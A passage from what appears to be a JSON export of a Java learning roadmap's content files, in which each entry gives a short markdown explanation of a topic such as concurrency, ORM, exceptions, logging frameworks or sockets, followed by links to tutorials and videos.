    "content": "# Concurrency\n\nConcurrency is the ability of a program to execute multiple tasks seemingly simultaneously. This doesn't necessarily mean they are running at the exact same instant, but rather that their execution overlaps in time. This can be achieved through techniques like multithreading, where a single program is divided into multiple threads that can run concurrently, or through asynchronous programming, where tasks can be started and then the program can continue executing other tasks without waiting for the first task to complete.\n\nVisit the following resources to learn more:\n\n- [@article@Java Concurrency and Multithreading Tutorial](https://jenkov.com/tutorials/java-concurrency/index.html)\n- [@article@Java Concurrency in Practice](https://www.baeldung.com/java-concurrency)"
  },
  {
    "path": "src/data/roadmaps/java/content/conditionals@sG_3ZQIE1-FQXQkk-OduQ.md",
    "content": "# Conditionals\n\nJava has the following conditional statements:\n\n*   Use `if` to specify a block of code to be executed, if a specified condition is true\n*   Use `else` to specify a block of code to be executed if the same condition is false\n*   Use `else if` to specify a new condition to test; if the first condition is false\n*   Use `switch` to specify many alternative blocks of code to be executed\n*   Use `?,:` operator to specify one line condition\n\nVisit the following resources to learn more:\n\n- [@article@What are Conditional statements?](https://www.educative.io/answers/what-are-conditional-statements-in-programming)\n- [@video@Conditionals and Loops in Java](https://youtu.be/ldYLYRNaucM)\n- [@video@Switch Statements + Nested Case in Java](https://youtu.be/mA23x39DjbI)"
  },
  {
    "path": "src/data/roadmaps/java/content/cryptography@_wV2VQq6MIY1rVHjK8pfu.md",
    "content": "# Cryptography\n\nCryptography is the practice and study of techniques for secure communication in the presence of adversaries. It involves converting readable data (plaintext) into an unreadable format (ciphertext) through encryption, and then converting the ciphertext back into plaintext through decryption. Cryptography uses algorithms and keys to ensure confidentiality, integrity, authentication, and non-repudiation of information.\n\nVisit the following resources to learn more:\n\n- [@article@Java Cryptography Tutorial](https://jenkov.com/tutorials/java-cryptography/index.html)\n- [@video@Cryptography 101 for Java developers](https://www.youtube.com/watch?v=itmNhVckTPc)"
  },
  {
    "path": "src/data/roadmaps/java/content/cucumber-jvm@UFDy19TNkykRsKv4vRsVJ.md",
    "content": "# Cucumber JVM\n\nCucumber is a testing tool that supports Behavior Driven Development (BDD). It offers a way to write tests that anybody can understand, regardless of their technical knowledge.\n\nVisit the following resources to learn more:\n\n- [@official@Cucumber](https://cucumber.io/)\n- [@official@Cucumber Documentation](https://cucumber.io/docs/cucumber/)\n- [@article@Cucumber-JVM for Java](https://automationpanda.com/2017/10/24/cucumber-jvm-for-java/)\n- [@video@Cucumber-JVM 5 with Enhanced Cucumber Expression](https://www.youtube.com/watch?v=jCzpxvAJoZM)\n- [@feed@Explore top posts about JVM](https://app.daily.dev/tags/jvm?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/data-types@5g9mmi01WeZ4aDqNzwx_V.md",
    "content": "# Data Types and Variables\n\nVariable in Java is a data container that stores the data values during Java program execution. Every variable is assigned a data type, which designates the type and quantity of values it can hold. Variable is a memory location name of the data. The Java variables have mainly three types: Local, Instance and Static.\n\nData Types are divided into two group -\n\n*   Primitive - byte,short,int,long,float,double,boolean and char\n*   Non-Primitive - String, Arrays, Classes, Enums and Records\n\nVisit the following resources to learn more:\n\n- [@article@Java Data Types](https://jenkov.com/tutorials/java/variables.html)\n- [@article@What are Data Types & Variables?](https://jenkov.com/tutorials/java/data-types.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/database-access@fV-gW51jhna2__Ln2HIIh.md",
    "content": "# ORM (Object-Relational Mapping)\n\nA programming method to map objects in Java to relational entities in a database. In other words, converting data between relational databases and object-oriented programming languages. Some popular ORM tools/frameworks in Java are:\n\n*   Spring Data JPA\n*   Hibernate\n*   Ebean\n\nVisit the following resources to learn more:\n\n- [@article@ORM tutorial](https://www.altexsoft.com/blog/object-relational-mapping/)\n- [@article@Java Databases: An Overview of Libraries & APIs](https://www.marcobehler.com/guides/java-databases)\n- [@feed@Explore top posts about Java](https://app.daily.dev/tags/java?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/date-and-time@9h20XVRli7TDq0QIJwX2U.md",
    "content": "# Working with Date and Time in Java\n\nDate and Time is a very important concept in programming. Java provides a rich set of classes to work with Date and Time.\n\nVisit the following resources to learn more:\n\n- [@article@Date and Time API in Java](https://chamalwr.medium.com/datetime-api-in-java-2aef5df1c39b)\n- [@article@Introduction to Date and Time in Java](https://www.baeldung.com/java-8-date-time-intro)\n- [@article@Java SE 8 Date and Time](https://www.oracle.com/technical-resources/articles/java/jf14-date-time.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/dependency-injection@zItXmuluDtl6HkTYQ7qMh.md",
    "content": "# Dependency Injection\n\nDependency Injection (DI) is a design pattern where objects receive their dependencies from external sources rather than creating them themselves. This means a class doesn't have to worry about how to obtain the objects it needs to function; instead, those objects are \"injected\" into the class, usually through its constructor, setter methods, or interface. This promotes loose coupling and makes code more testable and maintainable.\n\nVisit the following resources to learn more:\n\n- [@article@Dependency Injection Tutorial](https://jenkov.com/tutorials/dependency-injection/index.html)\n- [@article@Java Dependency Injection Design Pattern Example Tutorial](https://www.digitalocean.com/community/tutorials/java-dependency-injection-design-pattern-example-tutorial)"
  },
  {
    "path": "src/data/roadmaps/java/content/dequeue@DWO2-EPIUeKK5aQGiTuKc.md",
    "content": "# Dequeue\n\nA Dequeue (pronounced \"dee-queue\") is a double-ended queue, a data structure that allows you to add and remove elements from both the front (head) and the back (tail) of the queue. Unlike a regular queue (FIFO - First-In, First-Out), a dequeue provides flexibility for both FIFO and LIFO (Last-In, First-Out) operations. This makes it useful for implementing various algorithms and data management tasks where elements need to be accessed or modified from either end.\n\nVisit the following resources to learn more:\n\n- [@article@Java Deque Tutorial](https://jenkov.com/tutorials/java-collections/deque.html)\n- [@article@Java Deque](https://www.programiz.com/java-programming/deque)"
  },
  {
    "path": "src/data/roadmaps/java/content/ebean@X2rJ3BY1ytFKsbJqJETFu.md",
    "content": "# Ebean\n\nEbean is an object-relational mapping tool written in Java. It supports the standard JPA annotations for declaring entities. However, it provides a much simpler API for persisting. In fact, one of the points worth mentioning about the Ebean architecture is that it is sessionless, meaning it does not fully manage entities.\n\nVisit the following resources to learn more:\n\n- [@official@Ebean](https://ebean.io/)\n- [@official@Ebean Documentation](https://ebean.io/docs/)\n- [@article@Guide to Ebean](https://www.baeldung.com/ebean-orm)"
  },
  {
    "path": "src/data/roadmaps/java/content/encapsulation@iH9wSsOK4a77pS7U0Yu5z.md",
    "content": "# Encapsulation\n\nEncapsulation is a fundamental concept in object-oriented programming where data and the methods that operate on that data are bundled together as a single unit. This unit, often a class, hides the internal state of the object from the outside world and only exposes a controlled interface for interacting with it. This protects the data from accidental modification and allows for easier maintenance and modification of the code.\n\nVisit the following resources to learn more:\n\n- [@article@Java - Encapsulation](https://www.tutorialspoint.com/java/java_encapsulation.htm)"
  },
  {
    "path": "src/data/roadmaps/java/content/enums@ey1f8IsdAlDv1O3E_tNog.md",
    "content": "# Enums\n\nEnums, short for enumerations, are a special data type in Java that represent a group of named constants. They allow you to define a type that can only take on a specific set of predefined values. This makes your code more readable and less prone to errors by restricting the possible values a variable can hold.\n\nVisit the following resources to learn more:\n\n- [@article@Java Enums](https://jenkov.com/tutorials/java/enums.html)\n- [@article@Java Enums](https://www.programiz.com/java-programming/enums)"
  },
  {
    "path": "src/data/roadmaps/java/content/exception-handling@g9P3548F38tYGjevBc42w.md",
    "content": "# Exception Handling\n\nException Handling in Java is one of the effective means to handle the runtime errors so that the regular flow of the application can be preserved. Java Exception Handling is a mechanism to handle runtime errors such as ClassNotFoundException, IOException, SQLException, RemoteException, etc.\n\nThere are three types of exceptions -\n\n1.  Checked Exception - exceptions checked at compile time. Example - IOException\n2.  Unchecked Exception - exceptions checked at run time. Example - NullPointerException\n3.  Error - It is irrecoverable. Example - OutOfMemoryError\n\nVisit the following resources to learn more:\n\n- [@video@Understanding Java Exceptions](https://www.youtube.com/watch?v=W-N2ltgU-X4)\n- [@video@Java Exception Handling](https://www.youtube.com/watch?v=1XAfapkBQjk)"
  },
  {
    "path": "src/data/roadmaps/java/content/file-operations@NowpzyPVFcX082j5YS5i8.md",
    "content": "# Files and APIs\n\nLearn how to work with files i.e., reading, writing and deleting, files and folders, etc. Also, learn how to make API calls, parse the incoming response, and so on.\n\n*   `FileWriter` - this class is useful to create a file by writing characters into it\n*   `FileReader` - this class is useful to read data in form of characters from file\n*   `Files.lines(Paths.get(\"file.txt\")))` - processing the files as a stream. Since Java 8\n*   `Files.readString / Files.writeString` - reads the whole file and puts it into a string - since Java 11\n\nVisit the following resources to learn more:\n\n- [@article@How To Work With Files In Java](https://www.marcobehler.com/guides/java-files)\n- [@article@(old) Java HttpURLConnection Example - Java HTTP Request GET, POST](https://www.digitalocean.com/community/tutorials/java-httpurlconnection-example-java-http-request-get-post)\n- [@article@New Java HttpClient](https://www.baeldung.com/java-9-http-client)\n- [@article@5 ways to make HTTP requests in Java](https://www.twilio.com/blog/5-ways-to-make-http-requests-in-java)\n- [@article@Read a file line by line in Java](https://mkyong.com/java8/java-8-stream-read-a-file-line-by-line/)\n- [@article@Various ways to read a file to String in Java](https://howtodoinjava.com/java/io/java-read-file-to-string-examples/)"
  },
  {
    "path": "src/data/roadmaps/java/content/final-keyword@Ajuc_rHObqMQBXLqRIuxh.md",
    "content": "# Final Keyword\n\nThe `final` keyword in Java is a non-access modifier used to apply restrictions on a variable, method, or class. When applied to a variable, it makes the variable's value constant after initialization. When applied to a method, it prevents the method from being overridden in a subclass. When applied to a class, it prevents the class from being subclassed (inherited).\n\nVisit the following resources to learn more:\n\n- [@article@Java Final Keyword](https://www.baeldung.com/java-final)\n- [@article@How does the final keyword in Java work? I can still modify an object](https://stackoverflow.com/questions/15655012/how-does-the-final-keyword-in-java-work-i-can-still-modify-an-object)"
  },
  {
    "path": "src/data/roadmaps/java/content/functional-composition@1Mk_zXxCCcUoX-gFxtlnf.md",
    "content": "# Functional Composition\n\nFunctional composition is the process of combining two or more functions to produce a new function. The resulting function applies each function in order, passing the output of one function as the input to the next. This allows you to build complex operations by chaining together simpler, reusable functions.\n\nVisit the following resources to learn more:\n\n- [@article@Functional Composition in Java](https://jenkov.com/tutorials/java-functional-programming/functional-composition.html)\n- [@article@Java Functional Programming](https://www.baeldung.com/java-functional-programming)"
  },
  {
    "path": "src/data/roadmaps/java/content/functional-interfaces@SityDdjhhNZ9CO3Tg0VI9.md",
    "content": "# Functional Interfaces\n\nFunctional interfaces are interfaces that contain only one abstract method. They can have multiple default or static methods, but only one method that needs to be implemented. These interfaces can be used with lambda expressions and method references, allowing for concise and readable code when dealing with single-method operations.\n\nVisit the following resources to learn more:\n\n- [@article@Java Functional Interfaces](https://jenkov.com/tutorials/java-functional-programming/functional-interfaces.html)\n- [@article@Java Functional Interfaces](https://www.baeldung.com/java-8-functional-interfaces)"
  },
  {
    "path": "src/data/roadmaps/java/content/generic-collections@eL4pc6SaNiKP48PzN7mNe.md",
    "content": "# Generics\n\nJava Generic methods and generic classes enable programmers to specify, with a single method declaration, a set of related methods, or with a single class declaration, a set of related types, respectively.\n\nVisit the following resources to learn more:\n\n- [@article@Java - Generics](https://www.tutorialspoint.com/java/java_generics.htm)\n- [@video@Generics in Java](https://www.youtube.com/watch?v=XMvznsY02Mk)"
  },
  {
    "path": "src/data/roadmaps/java/content/gradle@rmDIm5dqtdlNfPhvpqS7-.md",
    "content": "# Gradle\n\nGradle is an open-source build automation tool that helps software engineers to test, build, and release high-performance software products. In addition, Gradle also supports multi-language development. Currently, the supported languages for Gradle include Java, Kotlin, Groovy, Scala, C/C++, and JavaScript.\n\nVisit the following resources to learn more:\n\n- [@official@Gradle](https://gradle.org/)\n- [@article@Building Spring Boot Projects with Gradle](https://www.baeldung.com/spring-boot-gradle-plugin)\n- [@video@Gradle Tutorial](https://youtu.be/kONQCIAcWeI)\n- [@video@Working with Gradle](https://youtu.be/6V6G3RyxEMk)\n- [@feed@Explore top posts about Gradle](https://app.daily.dev/tags/gradle?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/hibernate@UEiDzzodyEu5O1xFAFDly.md",
    "content": "# Hibernate\n\nHibernate is an open source object-relational mapping tool that provides a framework to map object-oriented domain models to relational databases for web applications. Hibernate implements the specifications of JPA. Performance is key so Hibernate supports first-level and second-level caching\n\nVisit the following resources to learn more:\n\n- [@official@Hibernate](https://hibernate.org/)\n- [@article@Second-level caching explained](https://hazelcast.com/glossary/hibernate-second-level-cache/)"
  },
  {
    "path": "src/data/roadmaps/java/content/high-order-functions@dz6bCmB4dgA7VVZ448cN6.md",
    "content": "# High Order Functions\n\nHigh Order Functions are functions that can either accept other functions as arguments or return functions as their results. This capability allows for more flexible and reusable code by enabling you to abstract over operations. Essentially, you can pass behavior as data, making your code more dynamic and adaptable to different situations.\n\nVisit the following resources to learn more:\n\n- [@article@Java High Order Functions](https://jenkov.com/tutorials/java-functional-programming/higher-order-functions.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/inheritance@PXpPEmCEBUKRjwP3B5LzJ.md",
    "content": "# Inheritance\n\nInheritance is a fundamental concept in object-oriented programming where a new class (called a subclass or derived class) acquires properties and behaviors from an existing class (called a superclass or base class). This allows for code reuse and the creation of hierarchical relationships between classes, promoting a more organized and maintainable codebase. The subclass can extend the superclass by adding new attributes and methods or overriding existing ones.\n\nVisit the following resources to learn more:\n\n- [@article@Java Inheritance](https://jenkov.com/tutorials/java/inheritance.html)\n- [@article@Inheritance in Java with Example](https://www.digitalocean.com/community/tutorials/inheritance-java-example)"
  },
  {
    "path": "src/data/roadmaps/java/content/initializer-block@dg_UpaO8TzIN7w_QZ1n-6.md",
    "content": "# Initializer Block\n\nAn initializer block in Java is a block of code, enclosed in curly braces `{}` , that is executed when an instance of a class is created. It's used to initialize instance variables or perform setup tasks before the constructor is called. There are two types: instance initializer blocks, which run every time a new object is created, and static initializer blocks, which run only once when the class is first loaded.\n\nVisit the following resources to learn more:\n\n- [@article@Static and Instance Initializer Blocks in Java](https://www.baeldung.com/java-static-instance-initializer-blocks)\n- [@article@All About Java Instance Initializer Blocks](https://blogs.oracle.com/javamagazine/post/java-instance-initializer-block)\n- [@article@What is an initialization block?](https://stackoverflow.com/questions/3987428/what-is-an-initialization-block)"
  },
  {
    "path": "src/data/roadmaps/java/content/interfaces@6wTRN2PYC6zM_Txkekx53.md",
    "content": "# Interfaces\n\nAn interface in Java is a blueprint of a class. It specifies a set of methods that a class must implement if it claims to implement the interface. Think of it as a contract: any class that \"signs\" the contract (implements the interface) agrees to provide specific behaviors (methods). Interfaces can also contain constants (static final variables). They help achieve abstraction and multiple inheritance in Java.\n\nVisit the following resources to learn more:\n\n- [@article@Interfaces in Java](https://jenkov.com/tutorials/java/interfaces.html)\n- [@article@A Guide to Java Interfaces](https://www.baeldung.com/java-interfaces)"
  },
  {
    "path": "src/data/roadmaps/java/content/io-operations@M0ybgK1JCycXhZ1dEpCFo.md",
    "content": "# I/O Operations\n\nI/O Operations, short for Input/Output Operations, deal with how a program interacts with the outside world. This involves reading data from sources like files, network connections, or the keyboard, and writing data to destinations such as files, the console, or network sockets. Essentially, it's the mechanism by which a program receives information and sends results.\n\nVisit the following resources to learn more:\n\n- [@article@Java IO Tutorial](https://jenkov.com/tutorials/java-io/index.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/iterator@-17LFO72I8RKjJRMXct9k.md",
    "content": "# Iterator\n\nAn Iterator is an object that enables you to traverse through a collection (like a List or Set) one element at a time. It provides a standard way to access elements sequentially without needing to know the underlying structure of the collection. You can use methods like `hasNext()` to check if there's a next element and `next()` to retrieve it.\n\nVisit the following resources to learn more:\n\n- [@article@Java Iterator Tutorial](https://jenkov.com/tutorials/java-collections/iterator.html)\n- [@article@Java Iterable Tutorial](https://jenkov.com/tutorials/java-collections/iterable.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/java-memory-model@wEc7pSVU5G2c6Zqmtb_1k.md",
    "content": "# Java Memory Model\n\nThe Java Memory Model (JMM) defines how threads in Java interact with memory. It specifies how and when different threads can see writes to shared variables, addressing issues like data visibility and race conditions in concurrent programs. The JMM ensures that multithreaded Java programs behave predictably across different hardware architectures by establishing rules for memory synchronization and ordering.\n\nVisit the following resources to learn more:\n\n- [@article@Java Memory Model](https://jenkov.com/tutorials/java-concurrency/java-memory-model.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/javalin@OrkJa48HIDmrLOgCBpimA.md",
    "content": "# Javalin\n\nJavalin is a lightweight web framework for Java and Kotlin that's designed to be simple, intuitive, and fun to use. It allows developers to quickly build web applications and APIs with minimal boilerplate code. Javalin focuses on providing a straightforward approach to routing, request handling, and response generation, making it a good choice for projects where speed of development and ease of understanding are important.\n\nVisit the following resources to learn more:\n\n- [@official@Javalin Website](https://javalin.io/)\n- [@article@Creating a REST API with Javalin](https://www.baeldung.com/javalin-rest-microservices)"
  },
  {
    "path": "src/data/roadmaps/java/content/jdbc@9UbRG752qxJdUwmqEAjN3.md",
    "content": "# Java JDBC\n\nJDBC is an API(Application programming interface) used in java programming to interact with databases. The classes and interfaces of JDBC allow the application to send requests made by users to the specified database.\n\nVisit the following resources to learn more:\n\n- [@article@IBM: What is JDBC](https://www.ibm.com/docs/en/informix-servers/12.10?topic=started-what-is-jdbc)\n- [@feed@Explore top posts about Java](https://app.daily.dev/tags/java?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/jmeter@U2BqOY49HaII6mKQB3SVt.md",
    "content": "# JMeter\n\nApache JMeter is an Apache project that can be used as a load testing tool for analyzing and measuring the performance of a variety of services, with a focus on web applications.\n\nVisit the following resources to learn more:\n\n- [@article@Apache JMeter Website](https://jmeter.apache.org/)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/junit@hY1-sEpTmpaj1PregdkFf.md",
    "content": "# JUnit\n\nJUnit is a testing framework for Java.\n\nVisit the following resources to learn more:\n\n- [@official@JUnit](https://junit.org/junit5)\n- [@official@JUnit Documentation](https://junit.org/junit5/docs/current/user-guide/)\n- [@article@JUnit tutorial](https://www.guru99.com/junit-tutorial.html)\n- [@article@Basic JUnit tutorial](https://www.baeldung.com/junit-5)\n- [@video@Testing with JUnit crash course](https://www.youtube.com/watch?v=flpmSXVTqBI)"
  },
  {
    "path": "src/data/roadmaps/java/content/lambda-expressions@00_q6I95eO-PUUrKpPFY8.md",
    "content": "# Lambda Expressions\n\nLambda expressions are essentially short blocks of code that you can pass around to be executed. They allow you to treat functionality as a method argument, or code as data. Think of them as anonymous methods – methods without a name – that can be written directly in the place where they are needed, making your code more concise and readable, especially when dealing with functional interfaces.\n\nVisit the following resources to learn more:\n\n- [@article@Java Lambda Expressions](https://jenkov.com/tutorials/java/lambda-expressions.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/learn-the-basics@2TGq1y2QthnxxN-FfToSe.md",
    "content": "# Java Fundamentals\n\nJava is a programming language and computing platform first released by Sun Microsystems in 1995. Java is a general-purpose, class-based, object-oriented programming language designed for having lesser implementation dependencies. It is a computing platform for application development. Java is fast, secure, and reliable. Therefore, it is widely used for developing Java applications in laptops, data centers, game consoles, scientific supercomputers, cell phones, etc.\n\nLearn about the fundamentals of Java such as basic syntax, data types, variables, conditionals, functions, data structures, packages, etc.\n\nVisit the following resources to learn more:\n\n- [@course@Introduction to Java by Hyperskill (JetBrains Academy)](https://hyperskill.org/tracks/8)\n- [@article@Head First Java](https://www.amazon.co.uk/Head-First-Java-3rd-Brain-Friendly/dp/1491910771)\n- [@article@Thinking in Java](https://www.amazon.co.uk/Thinking-Java-Eckel-Bruce-February/dp/B00IBON6C6)\n- [@article@Effective Java](https://www.amazon.com/Effective-Java-Joshua-Bloch/dp/0134685997)\n- [@article@Java: A Beginners Guide](https://www.amazon.co.uk/Java-Beginners-Guide-Herbert-Schildt/dp/1260463559)\n- [@article@Java: The Complete Reference](https://www.amazon.co.uk/gp/product/B09JL8BMK7/ref=dbs_a_def_rwt_bibl_vppi_i2)\n- [@video@Java Tutorial for Beginners](https://youtu.be/eIrMbAQSU34)\n- [@video@Java + DSA + Interview Preparation Course (For beginners)](https://youtube.com/playlist?list=PL9gnSGHSqcnr_DxHsP7AW9ftq0AtAyYqJ)\n- [@feed@Explore top posts about Java](https://app.daily.dev/tags/java?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/lifecycle-of-a-program@QgWalJLIb6Fw0HhN1wb02.md",
    "content": "# Lifecycle of a Program\n\nIn Java, the program lifecycle consists of several distinct phases that work together to execute code. The process begins with developers writing Java source code in `.java` files using an IDE or text editor. This code is then compiled by the Java compiler (javac) into bytecode stored in `.class` files, with syntax and type checking performed during compilation. When the program runs, the Java Virtual Machine (JVM) loads these compiled class files into memory through a process involving loading of binary data, linking for verification and preparation, and initialization of class elements. The JVM then verifies the bytecode's security compliance, performs Just-In-Time (JIT) compilation to translate bytecode into native machine code for better performance, and executes the program instructions while managing system resources. Throughout execution, the JVM handles garbage collection by reclaiming memory from unused objects, and finally releases all resources upon program termination. This architecture enables Java's \"write once, run anywhere\" capability since the bytecode can execute on any device with a compatible JVM.\n\nVisit the following resources to learn more:\n\n- [@article@Life Cycle of a Java Program](https://www.startertutorials.com/corejava/life-cycle-java-program.html)\n- [@article@How the JVM Executes Java Code](https://www.cesarsotovalero.net/blog/how-the-jvm-executes-java-code.html)\n- [@article@JIT vs. AOT Compilation in Java](https://bell-sw.com/blog/compilation-in-java-jit-vs-aot/)"
  },
  {
    "path": "src/data/roadmaps/java/content/log4j2@sFaNj_1MviaTc6UIfjXl6.md",
    "content": "# Log4j2\n\nApache Log4j is a Java-based logging utility. Log4j Java library's role is to log information that helps applications run smoothly, determine what's happening, and help with the debugging process when errors occur. Logging libraries typically write down messages to the log file or a database.\n\nLog4j2 is the updated version of the popular and influential log4j library, used extensively throughout the Java ecosystem for so many years. Version 2. x keeps all the logging features of its predecessor and builds on that foundation with some significant improvements, especially in the area of performance.\n\nVisit the following resources to learn more:\n\n- [@article@Official Website](https://logging.apache.org/log4j/2.x/manual/configuration.html)\n- [@article@Log4j explained: Everything you need to know](https://www.techtarget.com/whatis/feature/Log4j-explained-Everything-you-need-to-know)"
  },
  {
    "path": "src/data/roadmaps/java/content/logback@okC1uMdyfIJAhX_R9Npsw.md",
    "content": "# Logback\n\nLogback is one of the most widely used logging frameworks in the Java Community. It's a replacement for its predecessor, Log4j. Logback offers a faster implementation, provides more options for configuration, and more flexibility in archiving old log files.\n\nVisit the following resources to learn more:\n\n- [@article@Official Website](https://logback.qos.ch/manual/configuration.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/logging-frameworks@d9F5Wt8onY125DLuzNULg.md",
    "content": "# Logging Frameworks\n\nLogging is an important feature that helps developers to trace out the errors. It provides the ability to capture the log file. Logging provides the complete tracing information of the application and also records the critical failure if any occur in an application. There are three components of Logging: Logger, Logging handlers or Appenders and Layouts or logging formatters.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Java Logging](https://www.baeldung.com/java-logging-intro)\n- [@article@Java Logging Frameworks](https://en.wikipedia.org/wiki/Java_logging_framework)\n- [@article@How to Do Logging In Java](https://www.marcobehler.com/guides/java-logging)\n- [@feed@Explore top posts about Java](https://app.daily.dev/tags/java?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/loops@JHUhVEjWFXTn6-wKcKevg.md",
    "content": "# Loops\n\nIn Java and other programming languages, loops are used to iterate a part of the program several times. There are four types of loops in Java, `for`, `forEach`, `while`, and `do...while`.\n\n*   Syntax of `for` loop is `for(initialization;condition;increment/decrement){}`\n*   Syntax of `forEach` loop is `for(data_type variable:array_name){}`\n\nVisit the following resources to learn more:\n\n- [@article@Loops in Java.](https://www.programiz.com/java-programming/for-loop)"
  },
  {
    "path": "src/data/roadmaps/java/content/map@eKtdDtiJygKQ4PuEylFQY.md",
    "content": "# Map\n\nA Map is a data structure that stores data in key-value pairs. Each key is unique, and it maps to a specific value. Think of it like a dictionary where you use a word (the key) to look up its definition (the value). Maps allow you to efficiently retrieve, add, or remove values based on their associated keys.\n\nVisit the following resources to learn more:\n\n- [@article@Generic Map in Java](https://jenkov.com/tutorials/java-generics/generic-map.html)\n- [@article@Java Map](https://jenkov.com/tutorials/java-collections/map.html)\n- [@article@Java ConcurrentMap](https://jenkov.com/tutorials/java-util-concurrent/concurrentmap.html)\n- [@article@Java SortedMap](https://jenkov.com/tutorials/java-collections/sortedmap.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/math-operations@ziD_XwzJSFQP_3iLjq9pA.md",
    "content": "# Math Operations\n\nMath operations involve performing calculations using numbers. These operations include addition, subtraction, multiplication, division, and modulus (finding the remainder). They are fundamental building blocks for solving numerical problems and manipulating data in programming.\n\nVisit the following resources to learn more:\n\n- [@article@Java Math](https://jenkov.com/tutorials/java/math-operators-and-math-class.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/maven@VdL_fAHxmRbuF0J627beA.md",
    "content": "# Maven\n\nMaven is an open-source build tool, used primarily for Java projects.\n\nVisit the following resources to learn more:\n\n- [@article@Getting started](https://maven.apache.org/guides/getting-started/)\n- [@article@Building Spring Projects with Maven](https://www.baeldung.com/spring-with-maven)\n- [@feed@Explore top posts about Maven](https://app.daily.dev/tags/maven?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/method-chaining@Ax2ouIZgN1DpPzKDy4fwp.md",
    "content": "# Method Chaining\n\nMethod chaining is a programming technique where multiple method calls are made sequentially on the same object, one after another, in a single statement. Each method in the chain returns an object, allowing the next method to be called on that returned object. This approach enhances code readability and conciseness by reducing the need for temporary variables and intermediate steps.\n\nVisit the following resources to learn more:\n\n- [@article@@GeeksforGeeks@Method Chaining In Java with Examples](https://www.geeksforgeeks.org/java/method-chaining-in-java-with-examples/)\n- [@article@How to achieve method chaining in Java](https://stackoverflow.com/questions/21180269/how-to-achieve-method-chaining-in-java)"
  },
  {
    "path": "src/data/roadmaps/java/content/method-overloading--overriding@y-i56f1P_mMdvyBr7J4XE.md",
    "content": "# Method Overloading and Overriding\n\nMethod overloading allows you to define multiple methods in the same class with the same name but different parameters (different number, types, or order of parameters). Method overriding, on the other hand, occurs when a subclass provides a specific implementation for a method that is already defined in its superclass. The method signature (name and parameters) must be the same in both the superclass and the subclass for overriding to occur.\n\nVisit the following resources to learn more:\n\n- [@article@Overriding vs Overloading in Java](https://www.digitalocean.com/community/tutorials/overriding-vs-overloading-in-java)\n- [@article@Java Inheritance Tutorial](https://jenkov.com/tutorials/java/inheritance.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/mocking--mockito@mLM1HJf6_pxrUDOmb45ew.md",
    "content": "# Mocking\n\nMocking removes external dependencies from a unit test to create a sense of an entire controlled environment. The traditional method of mocks involves mocking all other classes that interact with the class we want to test. The common targets for mocking are:\n\n*   Database connections\n*   Web services\n*   Slow Classes\n*   Classes with side effects\n*   Classes with non-deterministic behavior\n\nVisit the following resources to learn more:\n\n- [@article@Mockito - Mocking Framework for Java](https://site.mockito.org/)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/modules@kdxy8Zssnc5lJjdmjUyMc.md",
    "content": "# Modules\n\nModules in Java are a way to organize code into reusable and independent units. They provide a higher level of abstraction than packages, allowing you to control which parts of your code are exposed to other modules and which are kept private. This enhances encapsulation, improves security, and simplifies dependency management by explicitly declaring dependencies between modules.\n\nVisit the following resources to learn more:\n\n- [@article@Java Modules](https://jenkov.com/tutorials/java/modules.html)\n- [@article@A Guide to Java 9 Modularity](https://www.baeldung.com/java-modularity)"
  },
  {
    "path": "src/data/roadmaps/java/content/nested-classes@zDBW20W2XMCtNTG3emJ_A.md",
    "content": "# Nested Classes\n\nNested classes are classes defined inside another class. The class that contains the inner class is known as the outer class. Nested classes can access members of the outer class, even if they are declared private. They are a way to logically group classes that are only used in one place, increasing encapsulation and maintainability.\n\nVisit the following resources to learn more:\n\n- [@article@Java Nested Classes](https://jenkov.com/tutorials/java/nested-classes.html)\n- [@article@Guide to Nested Classes in Java](https://www.baeldung.com/java-nested-classes)"
  },
  {
    "path": "src/data/roadmaps/java/content/networking@JeMG0gU8IVRBZgczjXmPi.md",
    "content": "# Networking sockets\n\n*   Java Networking is a concept of connecting two or more computing devices together so that we can share resources.\n*   Java socket programming provides facility to share data between different computing devices.\n*   A socket is one endpoint of a two-way communication link between two programs running on the network. A socket is bound to a port number so that the TCP layer can identify the application that data is destined to be sent to.\n\nVisit the following resources to learn more:\n\n- [@article@Sockets](https://docs.oracle.com/javase/tutorial/networking/sockets/index.html)\n- [@article@Java Networking](https://www.tutorialspoint.com/java/java_networking.htm)\n- [@video@What is Socket Programming?](https://youtu.be/BqBKEXLqdvI)\n- [@feed@Explore top posts about Networking](https://app.daily.dev/tags/networking?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/object-lifecycle@3qowgj1pas1X7oRric9eU.md",
    "content": "# Object Lifecycle\n\nThe object lifecycle refers to the series of stages an object goes through from its creation (allocation of memory) to its destruction (reclaiming of memory). These stages typically include object creation, initialization, usage, and eventual garbage collection when the object is no longer needed. Understanding this lifecycle is crucial for efficient memory management and preventing resource leaks."
  },
  {
    "path": "src/data/roadmaps/java/content/optionals@l9fxK8K9fcUqR7hs5TkWU.md",
